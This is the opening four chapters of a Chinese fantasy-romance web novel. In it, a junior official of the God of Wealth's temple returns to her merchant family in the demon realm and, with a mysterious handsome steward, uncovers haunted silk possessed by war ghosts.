《财神她喜欢病美人》
1. 财神殿神官下界,迷途路偶遇美人
“岂有此理,真是岂有此理!”愤怒的咆哮声震得古青言耳朵疼。
她弯腰捡起被财神爷扔在地上的金简,掀起眼皮偷偷瞟向上首的神明。
红袍金冠的男子不似人间画像上那般长髯魁梧,反倒是个身材修长挺拔的玉面郎君。
有钱能使鬼推磨,区区一个漂亮的皮囊又有何难?
此时那玉面郎君却十分没风度的满脸赤红:“那妖界的动物族和植物族又又又打起来了,妖界的商路被他们打得支离破碎,妖族们都不敢在从商贩货了。商人少了,本座的信徒便少了,供奉的神力平白少了一大截,真是气刹我也。”
又是几卷金简被扔了下来。
古青言默默捡着,抱着满怀的金简心里盘算这些玩意儿主上还要不要,不然她可就揣腰包里了。
都是纯金造的呢。
察觉到傍边其他几个同僚觊觎的视线,古青言默默将怀中的东西抱的更紧了。
“妖界有问题!妖界绝对有问题。”上边财神爷还在喋喋不休地怒骂着,“近些年那些妖煞气越发重了。”
“这事不能再这样下去了,战争破坏经济,再不解决本座是别想再得妖界的供奉了!”
“尔等谁愿为本座分忧,下界调查此事?”
四下一片寂静。
妖界相比仙界无比匮乏贫瘠,又战事频发混乱不堪。这种暗中调查的差事又不能暴露神官身份享受供奉,谁愿意去吃这个苦?
再说了,他们虽是神官,却也不是不死之身。若是不慎遇上了难缠的大妖丢了性命,实在是得不偿失。
“古司银,你也是妖族。”
猝不及防被点名,古青言僵硬了一瞬,掩饰住眼中的茫然,恭敬回道:“下官是物妖一族的石妖。”
“物妖好,妖界三大族唯有物妖一族老实本分。”财神爷神色缓和许多,“古司银,你在财神殿中任职也有些年头了,话虽不多,办事却妥帖,本座很看好你。”
古青言不知这位爷为何好端端地说起了自己,硬着头皮附和奉承了几句。
“你下妖界一趟,去查查妖界是否有什么异动,看看那些妖族究竟是发什么神经。”
古青言懵了,在财神殿做女官管钱就是了,怎么还要探案?
周围几个同僚皆同情的看向她,几个相熟的目露担忧。
“你若能办成此事,让妖界消停些,本座便提拔你做财神殿尚宫,以后你就是本座座下第一副手!”
此话一出,原本避之不及的神官们目光又热切起来。
古青言瞳孔地震,目光灼灼地望向财神爷,没有丝毫犹豫地跪下行了个大礼,生怕这差事被旁人抢了去。
“属下定不辱命。”
妖界,物妖王都开灵城,甄古府。
甄氏和古氏本是石族赫赫有名的富户,几百年前两家联姻,合二为一,共建出甄古府这个石族第一的商户,甄家家主与古家家主夫妻二人共同执掌。
二位家主育有二女。
长女古青言。
次女甄青竹。
“行了,既然回来了,就好好学学家中的生意,将来青竹继承家主之位,你尽心辅佐于她,莫要再生出妒忌之心负气离去,家中不会亏待了你。”
古青言被一位锦衣妇人带着在人群间穿梭,觥筹交错间,那妇人时不时扭头与她耳语几句。
“你回来的巧,正赶上青竹初次带队行商临行前的祈神礼,你二叔得意花重金请了仙界财神殿的神官为你妹妹祈福。待会见了神官,你要恭敬懂礼,万万不可触怒了神明。”
古青言假笑地脸都快僵了,麻木地应付着各路宾客,不走心地附和母亲古珺几句,心里却在想着财神殿神官的事。
我怎不知财神殿遣了其他的神官过来?
怪不得家中往日走南闯北四处行商的甄古府一众人今日竟聚得这样齐。
古青言环顾四周。
二叔,舅舅,小姨,堂兄……
古青言挨个数着自家这一串亲戚。
咦?少了一个。
“阿娘,怎么不见小姨?”
“你小姨带队在植妖族那边行商,战事吃紧,被绊住了脚步,赶不回来了。”她听到母亲叹惋一声,“造孽啊,真是造孽。”
古青言点点头,没太放在心上。
“神官大人到了!”有人惊呼一声,很快又觉得失礼,隐匿在人群中。
众人齐刷刷地跪了下去,神色虔诚而专注:“拜见神官大人,请神赐福于吾等。”
古青言见这阵仗,一时有些手足无措。
跪是不可能跪的,财神殿有资格让她跪的没几个。
她只得抬头去瞅那高高的祭神台上究竟是哪位同僚。
这一瞅,古青言满是错愕,随机反应很快地趁着众人都低着头参拜悄悄退了出去。
姚璃?怎么会是她?
台上不是别人,正是她掌管的银殿中的一位女官——掌银姚璃。
古青言躲在柱子后面观察着台上郑重作法的女子。
“祈神福祉,财运亨通。”穿着银色神袍的女子振振有词地念着,银色的神力沿着祭台上神秘古老的纹理蔓延开来。
银光直冲天际,场间众人头埋得更低了。
古青言腕间银镯发烫,是她座下神官代信徒向她祈福的信号。
但信号的坐标……是在人界!
古青舟秀眉深深地拧着,锐利的目光投向台上的姚璃,没有回应她。
神明久久不应,台下的众妖即便再虔诚,也忍不住隐隐有些骚动。
台上的姚璃收了神通,神色不变:“诸位心不诚,故而主神未应答。尔等当再奉贡品。”
古青言脸色难看。
假传神旨,谎报位置……姚璃这是想造反不成?
今日的祭礼草草结束,甄古府众人诚惶诚恐地去准备更多的金银财宝供奉神明,姚璃则被恭恭谨谨地请了下去,好生安顿。
再三思虑,古青言觉得还是得问个清楚明白。她随手拽过一个路过的侍婢:“姚......神官大人的住所在何处?”
那侍婢
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步履匆匆,本有些不耐,但看到古青言眉宇间无意识露出的凌厉,不禁吞了吞口水,老实回道:“神官大人住在东边的神观中,是家主此前特意为大人新修的......”
“多谢。”不等那侍婢说完,古青言匆匆道谢,向着侍婢说的那个方向奔去。
谁料,离家数年,府中布局多有更改,一时竟在自家院中迷了路。
举头四顾心茫然,被姚璃欺瞒的一肚子气都消了大半。
古青言灵机一动,左手掌心摊开,右手指尖挥动,寥寥几笔,就在掌心画了个符。一只金毛小兽摇头晃脑地出现在了古青言的掌心。
嗅金兽,状如麒麟,腹生口袋,可嗅金玉。
这是古青言下界时,财神爷送给她的灵宠。
与小兽水汪汪的圆眼对视,古青言被萌的心都要化了,声音也不自觉地夹了起来;“小阿金,你帮我嗅一嗅,府中金玉最多的屋子是哪一间?”
小兽哼唧两声,算是应了。它耸耸鼻子,从古青言掌心跳下去,择了一条小路,迈着小短腿,哼哧哼哧地跑开了。
古青言悠哉地跟在阿金后面,开始在脑中排练自己质问姚璃的场景。
嗯......要严肃一些,抬头挺胸,目光凌冽,不能看上去太好说话了。
财神大人平日里训话时是什么样的来着?
“你算个什么东西,敢教我们哥几个做事?”争执声打断了古青言的想象。
“哥几个在这府中干了多少年了,轮得到你一个新来的指手画脚?”
职场霸凌?
古青言脚步顿了顿。
管不管呢?救人一命胜造七级浮屠啊。她往声音传来的方向走了几步。
罢了罢了,尊重他人命运,切莫多管闲事。迈出的步子又撤了回来。
“别以为你这小白脸不知使什么手段得了二公子的青睐,就能踩在我们头上撒泼了。”
小白脸?有俊俏小郎君?嘿嘿。
咳咳,是青舟哥哥的人,还是要管一下的吧。古青言如此说服自己。嗯,绝不是想看俊俏小郎君。
她几步过去,只见几个穿着管事服的男人气势汹汹。
被围在中间的男子背对着她,脊背挺得笔直,被数人围攻也不见丝毫慌乱。明明是一样的管事服,却硬生生被他穿出了仙袍的气质,绝绝独立,与其他人格格不入。
“几位仁兄,在下无意冒犯,只是这批锦缎有异,这般随意售卖出去,恐惹祸患。”那声音清透温润,却不失坚定。
说话文邹邹的,不像个商贾管事,倒像个浸在纸墨里的书生。
那几人粗犷惯了,哪里有耐心听这文邹邹的话,眼看已然撸着袖子准备动手了。
古青言及时出声:“你们在做什么?”
背对着她的人转过身来。
墨色的眉眼清俊。
被屋檐遮挡而晕开的日光打下,挺拔的鼻梁与长长的睫羽一同在白皙的面部撒下阴影。
薄唇浅淡,微微抿着,透出几分倔强。
好个美人!
2. 斥刁奴搭救美人,衣服鬼暴起偷袭
饶是在仙界见惯了一众相貌卓越的男男女女,古青言也还是没能掩住眼中的惊艳。
“见过三姑娘。”那几人认出了她。
美人闻言,也躬身行礼。虽然微微弓起身,却丝毫不见奴颜婢膝之态,端的是不卑不亢,俊逸儒雅。
古青言默默欣赏着。
但,总有不识相的打断她:“三姑娘前来,不知所谓何事。”
古青言这才想起她过来的目的,只得收敛心神,正色道:“我在远处便听到你们争执不休。如今神官居于府中,四方皆有宾客来访。你们如此这般,成何体统。”
美人薄唇轻起,似乎想说什么,却被那几人抢了先:“我等皆是府上老人了,又岂会这般没有分寸。实在是这睿安欺人太甚,一再阻止我们将轻雾锦出库。铺子那边催得紧,若是耽搁了生意,我们可担待不起。”
古青言闻言,目光转向被攻讦的美人:“可有此事?”
美人规规矩矩地回话:“禀姑娘,是某阻拦几位仁兄将货物出库不假......”
“既然他都已经承认了,三姑娘,依我看,不如将这耽误事的狗东西赶出去。”这人明显是领头的,跋扈惯了,也不等美人把话说完就迫不及待想发落他。
古青言眸中染上怒色:“本座......本姑娘问你话了吗?”
那几人从前听闻三姑娘是个怯懦好说话的,这才敢放肆。却不想遭了呵斥,悻悻闭嘴。
“你继续说。”
美人并未因被打断而变化神色,有条不紊:“睿安听这几位兄台说,这批轻雾锦所用原料,乃是日前大公子的商队,从蚕妖族带回来的蚕丝。蚕妖族如今地处动妖族与植妖族交战地,受战事席卷,死伤惨重。死者怨念深重,这蚕丝难免会沾染上一些不干不净的东西。如此轻易售卖出去,怕是不妥。”
“有什么不干不净的东西?安管事说话也要讲个凭据。这蚕妖吐的丝,先天比旁的蚕丝更具灵气,织成的丝绸轻如雾,细如烟。先前样品送进皇城里,贵人们哪个不是交口称赞,皇后殿下亲口赐名轻雾锦。”
说话的管事言语之间尽是得意,美人只说了一句,他便立时有十句要堵回去。
“你有几个胆子?敢质疑贵人之言?”
“再者,这丝绸生意向来是我们大公子负责的。你身为二公子引荐来的人,却横插一脚。莫不是二公子嫉妒我们大公子生意做得好,心生嫉妒……”
“放肆!”见这人越说越过分,古青言立时打断了他,“谁给你的胆子议论二位兄长!更遑论皇城里的贵人们!”
“三姑娘,睿安虽还没有实证能够确认这批锦缎有什么问题。但请三姑娘相信,睿安不是无的放矢之人。请姑娘容在下几日,待仔细检查之后,确认没有问题再行出售也不迟啊。”美人微微欠身,恳切谦和。
二公子古青舟是古青言舅父之子。家中几个兄弟姐妹,除了一母同胞的妹妹,古青言与他最为亲厚。
得知美人竟是青舟表哥引荐的人,她的心也不自觉更偏了几分:“既然你如此肯定,那我便给你几日时间。但若是不能拿出有力的证据,延误商机之罪,我也绝不姑息。”
“睿安定不辱命。”睿安神色一松,有些感激。
“好啊。”旁边那几个大公子的手下显然已经认定是古青舟授意美人来此阻挠,“既然三姑娘和二公子执意要查,那二位便自个儿查吧。”
说罢,几人愤然离去。
“家中素来待下宽厚,纵的这些刁奴不知规矩,叫公子见笑了。”古青言不好意思道。
“我怕是又给青舟......二公子添麻烦了。”美人苦笑,:“还要多谢姑娘信我。”
古青言矜持地笑笑:“我虽初次见你,却与青舟哥哥相熟。二哥哥一心仕途,是向来不插手家中生意的。他既破例举荐了你,那想必你定是有些过人之处的。我不是信你,是信他。”
话说的坦然,古青言心中却是千回百转。
这美人通身的气质,哪里会是普通的管事。方才言语试探,这人显然是被叫惯了“公子”,一向被人敬着的,故而竟没发现她称呼的不妥当。
而他提到二哥哥的态度,更不像下对上,仆对主,反倒是有几分朋友间的亲切。
这人身份定不简单。
“睿安,我可以这样称呼你吗?”得到肯定的答复后,她继续道:“你为何如此笃定这轻雾锦有异呢?皇城里的贵人都瞧不出来,你瞧的出来?”
古青言这话问的不算客气,睿安却也不觉冒犯。他拿出钥匙打开身后仓库的锁:“三姑娘若是得闲,也不妨一同探看。”
古青言没怎么犹豫就跟了上去:“你方才提到,这锦缎的不妥之处与两族战事有关?”
“姑娘倒是会抓重点。”睿安笑着赞了一句,神色却莫名有些黯然,“皇城里的贵人久居深宫,没见过这等腌臜物。三姑娘想来也不曾听说过衣服鬼吧?”
古青言疑惑地看向他。
“这衣服鬼乃是死后怨念不散的鬼魂,附身于灵气充沛或是有特殊之处的衣物上而形成的鬼怪。这鬼怪神志不清,没有生前的记忆,只凭执念行事。一般的衣服鬼只会向自己生前的仇家索命,其实算不得什么祸患。”
“但因动植两族战事而枉死的衣服鬼却有所不同。这些鬼怪怨气重,杀气更重,害起人来不论仇怨,不分老幼,害得本就饱受战乱之苦的边境百姓更加苦不堪言,枉死之人更甚。如此循环往复......”
睿安脸上露出痛色,似是透过眼前的锦缎已然瞧见了两族边境的惨状。
古青言听着他的讲述,拿起一块轻雾锦在手中翻看起来。
只是她生于商贾之家,供职财神殿中,于鬼怪之事着实没有什么经验,看了良久也不曾瞧出什么异样。
但不知为何,这轻雾锦上的气息隐隐让她有些排斥。
“那你可看明白了?这些轻雾锦是衣服鬼不是?”她问。
睿安摇头,“衣服鬼不作乱时,伪装得与寻常衣物无异,是很难看出异样的。但既然这锦缎所用蚕丝来自蚕妖,便绝无可能安然。”
古青言不知他为何如此笃定,想来是有什么隐情,却不肯与她分说。想了想,她又问;“既然两族战场常年受此怪困扰,可有何辨别方法?”
睿安却没有立时回答,他薄唇紧抿,沉默良久才终于开口:“以三昧真火烧之,可闻厉鬼尖啸。”
“可这鬼怪,原本也不过是因战事无辜受累的可怜生灵。直接除去也便罢了,焚烧折磨,未免太过残忍。”
睿安诧异地看向古青
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言。
古青言笑得腼腆:“我是不是太心软了。父母亲都说,我这样难成大事。”
“三姑娘何必妄自菲薄。”睿安正打算宽慰几句,却猛然瞳孔骤缩,“小心!”
他一把将古青言拉到身后,扯下腰间玉牌迅速化剑,向着古青言方才站立的地方劈去。
“刺啦”,布帛撕裂的声音震得古青言心头一颤。
金丝华服被长剑斩裂,刺耳的尖啸声轰鸣。断成两半的布帛仍颤颤巍巍地聚集到一起,试图越过睿安扑向古青言。
古青言此时已然反应过来,当即祭出一个银色的钱袋。钱袋飞到空中极速变大,袋口大开,强大的吸力将已经破损的华服吸向钱袋。
古青言法诀变幻,一道灰色的光影被生生从华服中撕扯出来,吸进张口以待的钱袋中。
袋口迅速闭合,钱袋缩小到巴掌大小,回到古青言手中,却不复方才干瘪,鼓鼓囊囊的。
睿安不着痕迹地打量了一下这钱袋,眼中似有思索,但没有多问。
古青言看向落在地上破烂得不成样子的华服,心有余悸。这几年真是在仙界安逸日子过惯了,竟未能警觉。
“这里怎么会有一件成衣?”睿安不解。
古青言捡起衣服翻看一番:“是轻雾锦制成的成衣。看制式......应当是母亲为了阿竹继任家主,特意赶制出来的新衣。”
“蚕丝被大哥哥从遥远的蚕妖族带回来,又经过织坊的工人之手。织成轻雾锦后在这库房中也放了几日了,这么长的时间里皆未有异状,却偏偏只有这件成衣露出了攻击的意图。”
古青言拧着一双秀眉思索。
又为何偏偏只攻击我呢?
睿安若有所思。
古青言又拿起一块锦缎在手中摩挲,与另一只手中的华服两相比对。
无论是未成衣的锦缎还是已成衣的华服,都隐隐有种让她排斥的气息。但后者排斥之感更胜前者。
她心中隐隐有个猜测:“不如我们再将几匹缎子送去制衣,看看制成的新衣是否也会同这华服一般作乱。”
“我也正有此意。”睿安笑道。
两人敲定主意,睿安会亲自盯着制衣的全过程,待有了眉目,会再带来与古青言一同探看。
天色不早,二人锁了库房。古青言在睿安走后又不放心地在仓库门上加了一道禁制,这才放心离去。
回到房间,金毛小兽窝在床头。见她回来,一蹬腿立了起来,小脑袋一扬,气呼呼地哼唧了一声。
古青言一拍脑袋:“哎呀!我怎么把你给忘了!”
那时她叫阿金给她带路去找姚璃的居所,中途却拐道去帮了睿安一把,竟也忘了将阿金召回来。
“都是我的错,害你白跑一趟。”古青言将小兽托在掌心,澄澈的眸子里满是歉疚。
小兽大眼珠子转了转,还是把头扭到另一边,又哼唧了一声。
古青言无奈,掏出金银喂食之,遂息怒火,主宠安睡。
“今日被衣服鬼之事横插一脚,也没能顾得上去找姚璃。罢了,改日再去吧。”古青言迷迷糊糊睡着前这样想。
第二日清早,中气十足的吆喝声将古青言从睡梦中惊醒。
“古青言,是你将妹妹的礼服弄坏的?”
3. 大清早乱事频发,店被砸青言受伤
古青言垂死病危惊坐起,匆匆披上外袍从房间出来。
一身贵气的妇人手里拎着一件破破烂烂的华服。正是昨日被衣服鬼附了身的那件。
古珺将破碎的衣裳举到古青言脸前:“下头的人说昨日你进了库房,出来后再没旁人进去过。是你把你妹妹的礼服弄成这幅样子的?”
衣服是她和睿安打斗时弄坏的,说是她弄的也不错。古青言点头认下。
还未解释,劈头盖脸的斥责便砸了过来:“我还以为你这次回来是想通了,没想到竟还是这般心胸狭窄,嫉妒你妹妹的家主之位,竟使这种上不得台面的小手段毁了你妹妹的礼服......”
“母亲,你别怪言言!”焦急的声音从远处传来。
赤红色的身影由远及近,明媚娇俏的姑娘在两人身前站定,她跑得太急,气喘吁吁:“母亲,言言绝不会故意毁坏我的礼服的,这其中定有误会。”
看到甄青竹,古珺语气放缓:“你一心向着她,可她都已经承认了,此事就是她所为。”
古珺又转向古青言:“你瞧瞧你妹妹的心胸。两相对比,你二人谁更适合家主之位一目了然,你还有什么好怨怼的?”
古青言心中酸涩。
她从未想过与妹妹相争,也清楚妹妹的性格比她更适合做家主。当年敲定甄青竹为家族继承人后她离家远行乃是另有因由,只是没人愿意相信她的说辞。
连母亲都不相信。
“母亲。”甄青竹将古珺往后扯了扯,“你别说言言了,她好不容易回来。此事定有误会,我们不妨听言言说说呢。”
劝完这边,又忙着劝那边。她挽住古青言:“言言,母亲只是一时着急说话有些难听,你别放在心上。你离家这些年,她其实很想你的。”
古青言一大早挨了骂,心情不佳,却也不愿冷脸待她,扯出一抹笑来。
她调整心情,正准备将衣服鬼之事如实讲来。
“夫人!少主!大事不好了!”甄青竹的贴身女使绛桐急匆匆地跑过来,上气不接下气,“张家,张家把咱们家告到御前了!”
古珺与甄青竹皆是神色大变。
张家在物妖族算不得什么大贵族大世家,只是近些年十分了不得,只因张家出了位皇后,正是如今张家家主张衣涛的亲姐姐。
而甄古府是商贾之家,纵家财万贯,却无盛宠。家中除了前些年科举及第,入朝为官的古青舟,想要到御前去那是绝无可能的。
没想到头次在御前露脸,却是被告上去的。
古珺脸色难看:“到底是怎么回事?”
绛桐还在大喘气:“张家状告咱们甄古府豢养恶鬼,害了张家姑娘性命。”
原来,是甄古府的绸缎铺子出了问题。
张家家主张衣涛有一个女儿,自小体弱多病,被张衣涛捧在手心里长大,如今也已经到了婚嫁的年岁。
近日甄古府的轻雾锦得了宫中贵人的称赞,颇负盛名。婚期将至,张衣涛便用轻雾锦为女儿做了一身嫁衣。
谁知嫁衣放在床上,突然就自己坐了起来,像一个人一样。张家女儿吓得跑了,嫁衣还一直跟着她。直到张家女的哭喊声将全家人都引了过来,嫁衣才掉在地上。
张家女当夜就不明不白地死了。
视若珍宝的女儿还未出嫁便丢了性命,张衣涛悲愤不已,带着嫁衣就将甄古府告到了御前。
“轻雾锦明明还未开始发售,张家是从何处得来的?”古青言不解,她昨日分明与睿安将东西扣下了。
“是先前借二公子之手献给宫中那匹。张家主素来疼爱女儿,特意去宫中向皇后殿下讨来的恩赏。”绛桐解释道,“张家因为这个,还给咱们家扣上了谋害圣上的帽子。如今二公子受了牵连,已被停职了。”
“轻雾锦向来是大哥哥负责的,走,我们去问问他,这到底是怎么一回事。”甄青竹提议道。
古青言这一辈的老大是她们叔叔的儿子,名唤甄青钱。
几人说着就要往甄青钱的院子去,却瞧见甄青钱身边一个得用的管事走了过来。
古青言瞧着眼熟的很,正是昨日带头欺负睿安的那个管事:“古夫人,少主,我家公子说了,这轻雾锦的生意昨日已经被三姑娘自个儿揽到了手里。既然如此,也就不关我家公子的事了,全权交由三姑娘负责。”
甄青竹讶异,古珺狠狠瞪向古青言:“谁准你多管闲事的?”
古青言脸色也很不好看。
“甄古府一荣俱荣,一损俱损。你家公子还真以为能置身事外不成?”古珺没好气地对那管事道。
那管事却不惧:“公子说了,甄古府本就是甄家与古家联姻的产物。若是你们大房没能力解决此事,也就不值得我们再追随,那我们二房带着甄家离府单干便是了。”
说完那管事便很不客气地作揖告退,似乎是觉得她们大房得罪了宫中翻身无望,全然不将她们放在眼里。
“岂有此理!二房这些刁奴太没规矩!”古珺骂道,骂完二房又狠狠瞪向古青言,“都是你惹的祸!缎子是老大做的,贡品是老二送进宫的,这事与咱们本没什么关系,你却好端端地横插一脚。”
甄青竹忙劝她:“母亲,你别生气,这分明是大哥哥推卸责任,怎么能怪言言呢。如今当务之急是如何解决此事。”
“那你说说,怎么解决?”古珺问古青言。
“我来解决。”甄青竹忙道,“母亲这事你就别操心了,交给我和姐姐吧。我继任家主在即,若是能解决好此事,说不得还能在宫中露脸,正是积累声望的好机会。”
这话说到了古珺的心坎上。
好不容易将她劝走,甄青竹亲亲热热地贴到古青言跟前:“言言你别忧心,咱们甄古府行得正坐的端,定会无恙的。”
古青言叹口气;“这轻雾锦果真有问题。幸好昨日遇到睿安,将库中的缎子扣下没有发售,否则后果不堪设想。”
很快,她就发现自己庆幸早了。
睿安急匆匆地过来。
看到这慌乱的脚步,焦急的神色。何等熟悉!
古青言心里“咯噔”一声。
睿安神色难看极了:“三姑娘,昨日我们走后,大公子的人将库中的轻雾锦运到铺子里发售了。”
古青言一口气险些没上来,面上却维持镇定:“卖出去多少?”
“一发售便全部售罄了。”
古青言脸上的表情差点裂开。
“如今张家鬼嫁衣的消息传出来,那些买者都慌了神,全都跑到铺子前讨说法。大公子的人见势不对全都从铺子了撤了出去。那些人没了阻拦,冲到铺子里将东西砸了个遍。如今宫中下了旨意,官兵已经将铺子封了。”
“走,到铺子里看看去。”
三人赶到铺子。
铺子门庭冷落,门上被官府贴了封条。好在铺子还有一小门,与铺子后方甄古府的布庄相连。
三人从布庄进去,古青言走在前面,甄青竹落后几步,满怀好奇地与睿安这位眼生的管事攀谈着。
“咔哒”,锁扣打开的声音,古青言推开铺子的小门。
刺骨的冷意骤然直击她的面门,破空声传来,古青言完全凭着本能迅速后撤,却还是被一股力量击倒在地。
“言言!”甄青竹听到动静惊呼一声,急忙向她跑来。
脊背砸在地面上,撞得生疼。仿佛背上的每一块肌肤都被撕裂成千万片,呼吸都痛的停止。
古青言却顾不得疼痛,因为那东西又向她袭来了。
她发出一声痛苦的闷哼,强行
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从地上爬了起来,手中快速结印。法力凝结,一拳一拳地向那东西轰过去。
几招之间,古青言已经看清了那东西的模样——赫然是一匹轻雾锦!
几拳下来,那锦缎已然被古青言打得破损不堪,却还是疯了一般地不断攻击着她,大有玉石俱焚之势。
古青言一边与之周旋,一边仔细观察着,想要看出其中的奥秘,也算是游刃有余。
突然,她只觉背后生寒,心中警铃大作。
迅速将面前的锦缎击退,堪堪侧身闪过。
又是一匹轻雾锦!
顾不得多想,古青言忙举拳抵挡。
然而,一匹,两匹,三匹......数十匹轻雾锦从那间库房中掠出,向着古青言一人袭来。
看着那数十件悬浮在空中的锦缎,古青言心头大骇。
好在睿安和甄青竹此刻终于赶了上来,迅速加入战斗。三人联手,作乱的锦缎被迅速镇压。
古青言一掌将面前的最后一匹锦缎击碎。她发丝微乱,衣衫也略有破损,嘴角溢血,是方才被偷袭受的伤。另外两人也颇为狼狈。
轻雾锦的数量太多了!
“言言,你没事吧?”甄青竹担忧地过来扶住古青言。她看着满地散落的轻雾锦,怒上心头,气恼地打出一道赤芒,几块绸缎登时便燃烧起来:“该死的东西,竟敢伤了言言。”
被灵火焚烧的锦缎发出尖锐的鸣声,似有人在痛苦的尖叫。
三人听得都有些毛骨悚然。
“得赶紧将卖出去的缎子都收回来,免得再生祸端。再以重金补偿买者,哪怕多使些银钱呢。如今已然触怒了宫中,切不可再失了民心。”古青言思路转的很快。
“我在来之前已经着人去办了。”睿安道。
靠谱!古青言在心中大赞。
“可是这种做法治标不治本,我们必须弄清真相,才能挽回甄古府损失的商誉。”睿安并不乐观。
古青言和甄青竹点点头,毕竟也是自小泡在商业环境中长大的,这些道理她们都懂。
三人不敢在轻易靠近铺子,睿安手中法诀变幻,顷刻间在铺子周围布下一道法阵,将所有轻雾锦都困在其中。
古青言饶有兴致地看了他一眼。竟是个会布阵的。
“这些东西作乱竟没个章法吗?”古青言百思不得其解地看着那些锦缎。
昨日这些缎子分明安然无恙,只有那件成衣会攻击她,她还在心中猜测是不是只有制成成衣的轻雾锦才会作乱。可是今日......真是怪了。
古青言沉浸在自己的思考里,没有注意到甄青竹那边的异样。
甄青竹面色凝重,眉头紧锁,袖中拳头紧握,轻轻颤抖着,隐有黑气流动。
三人各怀心事,忙里忙外地处理不断从买者手中收回来的缎子,安抚民心。
甄青竹以少主人的身份承诺甄古府绝不会做黑心买卖,定会给大家一个满意的交代。费了好一番口舌,这才勉强将闹事的民众暂时劝走。
“阿竹,阿言。”风尘仆仆的二哥古青舟出现在布庄。
“二公子。”睿安作势要行礼,古青舟不动声色地拦了一下,严肃的神色多了几分轻松:“安兄竟也在这。”
古青舟受轻雾锦一事牵连,被停职查办。仕途不易,他交接完公务就急匆匆地赶过来查探。
睿安事无巨细地将情况讲给古青舟。
古青舟听完,思索了一会:“睿安,你可记得《元经》有云,世间神力自愿力中来,人得愿力而升仙,兽得愿力而成妖,物得愿力而开灵。”
甄青竹听不得这文邹邹的东西:“二哥哥你在说什么啊?每个字我都认得,怎么连在一起便听不懂了呢?”
睿安却似有明悟:“你是说......”
4. 财神殿威慑皇后,俏郎君身份成谜
愿力即是人们的心愿,期望凝结之力。
植物与动物先天有灵,只要勤加修炼,便可成妖化形。而石头,丝绸等死物,先天无灵,唯有常年与有灵的生物为伴,汲其愿力,方可开灵。
物妖族数量最多,修为最高的乃是钱妖。
无人不爱钱,无人不想拥有钱,故而钱族轻而易举地就可以得到人们的无尽愿力,开灵化妖。
如今物妖族的王族正是钱妖一族。
“世间万物本自同源,衣服鬼的成型应当也是同样的道理。”睿安分析道。
“这批制作轻雾锦的蚕丝出自蚕妖,相比普通的蚕丝本就不是凡物。因两族战事而丧生的妖们怨念不散,附着在蚕丝上。”
“但蚕丝上微薄的灵气并不足以供它们活动,故而这些怨魂一直沉睡着。而甄少主的礼服经过纺织工和绣娘的两重加工,愿力充足,其上怨灵这才在成衣中苏醒过来,真正化为了衣服鬼。”
“至于今日铺子里的轻雾锦之所以会攻击人......”
“是因为闹事的买家因为轻雾锦害命之说心生不满,怨气深重。”古青言也很快想明白了其中关窍,“沉睡在轻雾锦中的怨灵得到这些怨气的滋养,便也苏醒了过来。”
一下子豁然开朗,古青言不禁笑起来。
睿安目含赞许地看向她,骤然间撞入这明媚的笑颜中。
他忽然发现,甄古府这位看起来貌不惊人的三姑娘,笑起来其实是很好看的。
星星眼,很亮很亮。
他也忍不住笑起来。
“既然弄清了是蚕妖族蚕丝的问题,那咱们家也就能摆脱一些干系了。”古青舟松了口气,“至多不过是个审查不清之罪。”
甄青竹赞同地点点头。
“张家女惨死一案如今已经移交了大理寺,明日庭审。阿竹,你得提前备好说辞。我们不逃避罪责,却也不能叫人冤枉了去。”古青舟向甄青竹叮嘱道。
“放心吧二哥哥,包在我身上。论嘴皮子功夫,我还没输过。”甄青竹信心满满,“不过张家不是告了御状吗?我还以为能入宫得见天颜呢。”
若是能讨得陛下欢心,让甄古府跻身物妖族皇商之列,那甄古府的势力必能在她的带领下更上一层楼。
“陛下日理万机,纵使张家再皇亲国戚,他老人家也不会亲自处理这些小事。”睿安道,“不过皇后殿下向来疼爱张姑娘这个侄女,明日应当会去旁听的。”
古青言看向他。这人似乎对宫中的贵人很是了解。
“只是可惜了张家姑娘。”古青言叹惋。
“被战事所累而死的无辜百姓又何止这一个。”睿安眉间郁郁。
古青舟听到这话,担忧地看了他一眼。
第二日,古青言和甄青竹带着轻雾锦和轻雾锦制作的成衣赶往了大理寺。古青舟官职在身,为了避嫌没有前往。
被传唤入堂,果然有一位雍容华贵,身着明黄色华服的妇人高坐上位。
姐妹两个神色不变,当庭演示了成衣和未成衣的轻雾锦的不同之处,阐明了衣服鬼乃是来自蚕妖族战事,并非甄古府刻意为之。
甄青竹又与张家舌战数回合。
张衣涛气急怒骂,认为甄古府即便不是罪魁祸首也是间接帮凶。
甄青竹据理力争,坚决把甄古府的责任从杀妖害命降低到不知者无罪。
古青言不善言辞,只在甄青竹架吵偏时偶尔开口帮她拐回来。
参与庭审,张家自然也将那件害了张家女性命的鬼嫁衣作为证物带了过来。争吵之际,那嫁衣竟当堂立了起来,朝着张衣涛扑过去。
张衣涛吓得跌坐地上,怒骂甄古府还想杀人灭口。
大理寺卿忙命人镇压那鬼嫁衣,庭上一时间手忙脚乱起来。
古青言看着那鬼嫁衣,眼中闪过一抹疑惑之色。
这气息……不大对劲。
兵荒马乱之后,鬼嫁衣终于安静下来。
最终,大理寺卿欲判甄古府以审查不清之罪,赔付张家黄金万两。
但皇后殿下却似有不满,故而大理寺卿迟迟没敢敲案裁决。
“甄古府献上这等害人之物......”整场庭审一直安静的皇后终于开口想说些什么。
“皇后殿下。”也同样几乎安静了一整场的古青言及时打断了她。皇后神色不悦,但古青言还是继续道,“青言外出游历时曾得一宝冠,皇后殿下华贵典雅,正与此冠相得益彰。青言特将此冠献与殿下。”
说完,也不管皇后同不同意,就示意身后的侍女银雪将宝冠奉上。
围观者都面色古怪。当庭贿赂?这甄古府三姑娘也忒不懂事了些。
甄青竹也不解地看向古青言,不知道这是闹哪出。古青言却用眼神安抚她,示意她稍安勿躁。
银雪面对皇后的威仪腿都有些打颤,却还是硬着头皮捧着托盘上前去。
皇后正要发怒,余光瞥见托盘上一块小巧的令牌时,声音却戛然而止。
她腾地站了起来,双目死死地盯着古青言,先惊后惧。
良久,她又在众人不解的目光中稳稳坐了回去:“甄古府献上这等害人之物......也是无心之失,就按大理寺卿的意思来吧。”
甄青竹松了口气,若是皇后殿下执意帮张家出气,那还真是不好办。
张衣涛又惊又怒,浑浊的老眼中皆是悲愤,却拗不过皇后之意,无奈退去。
“哼,我看今后,谁家不惜命,还敢买你甄古府的东西!”张衣涛吹胡子瞪眼,拂袖而去。
他痛失爱女,又不能冲到动妖族去将真正的罪魁祸首就地正法,只能将满腔悲愤都发泄在甄古府头上。
古青言二人也是无奈,这事他们确实有责任,这般结果也不是她们愿意看到的。
